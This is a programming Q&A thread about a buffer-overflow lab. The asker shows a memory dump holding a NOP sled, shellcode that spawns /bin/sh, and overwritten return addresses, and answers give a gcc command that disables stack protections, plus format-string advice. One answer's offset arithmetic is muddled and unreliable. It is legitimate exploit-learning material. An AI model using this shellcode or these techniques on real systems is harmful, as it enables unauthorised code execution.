why am i getting a segmentation fault at a NOP sled isnt it supposed to sled the instructions till it gets to the shell code ?

0xbffff030: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff040: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff050: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff060: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff070: 0xc389c031  0x80cd17b0  0x6852d231  0x68732f6e
0xbffff080: 0x622f2f68  0x52e38969  0x8de18953  0x80cd0b42
0xbffff090: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff0a0: 0x41414141  0x41414141
0xbffff0a8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff0b8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff0c8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff0d8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff0e8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff0f8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff108: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff118: 0x41414141  0x41414141
0xbffff120: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff130: 0xbffff050  0xbffff050  0xbffff050  0xbffff050
0xbffff140: 0xbffff050  0xbffff050  0xbffff050  0xbffff050
0xbffff150: 0xbffff050  0xbffff050  0xbffff050  0xbffff050
0xbffff160: 0xbffff050  0xbffff050  0xbffff050  0xbffff050
0xbffff170: 0xbffff050  0xbffff050  0xbffff050  0xbffff050
0xbffff180: 0xbffff050  0xbffff050  0xbffff050  0xbffff050
0xbffff190: 0xbffff050  0xbffff050

and here is the code:-


int main(int argc, char* argv[]){
    char buf[256];

        printf("Usage: %s input\n",argv[0]);

Error message

Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ?? ()

any ideas ?

  • Is your stack executable – Tryna Learn Somethin Jul 27 '18 at 6:28
  • yes it is executable – DullPoint Jul 27 '18 at 6:34
  • How did you compile it – Tryna Learn Somethin Jul 27 '18 at 6:35
  • i tried different things :gcc bf.c -o bof -fno-stack-protector : also the one that included m32 and static i got it from the MIT lecture explaining the buffer overflow but i couldnt find a link to the explaination of the lab – DullPoint Jul 27 '18 at 6:43
  • 1
    Try adding -mpreffered-stack-boundary=2 besides that and -no-pie – Tryna Learn Somethin Jul 27 '18 at 6:44

You need to pivot the execution into your nop sled. Usually done by overwriting EIP with the address of your payload on the stack or using a gadget like jmp esp.

  • I thought this overwritten the eip 0xbffff130: 0xbffff050 0xbffff050. is that wrong ? – DullPoint Jul 27 '18 at 6:37

In this case you should use string format attack by using sequence %_%u where _ needs to be replaced by the number of bytes you want to overwrite and %u will help you overwrite the address after those bytes.

Also you could use a buffer overflow attack where you could pass a long string of length in this case as: 256+8+4=268 . (1 bytes extra for instruction,0.5 byte to get to address) so as to overwrite the address where buf is stored.So these 12 bytes are important as they help you reach the address and skip the instruction.


Yes when program execution is redirected and hits your shellcode, the nop's (no operation) act as a "sled" to your shellcode. That will not work on a modern linux box unless the binary is compiled to allow such shenanigans. You will need to disable a number of security features; RELRO, STACK CANARY, NX, PIE.

There is a nice bash script called checksec.sh (http://www.trapkit.de/tools/checksec.html) that can help you check your binary, for example:

enter image description here

The way I compile a binary for buffer overflow test:

gcc -g -mpreferred-stack-boundary=2 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack ./program.c
  1. -no-pie: disable PIE
  2. -z execstack: to disable NX making stack executable
  3. -Wl,-z,norelro: disable RELRO
  4. -fno-stack-protector: remove stack protection

And for convenience:

-g: add debugging

-mpreferred-stack-bounary=2: align stack on 4-byte boundary

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.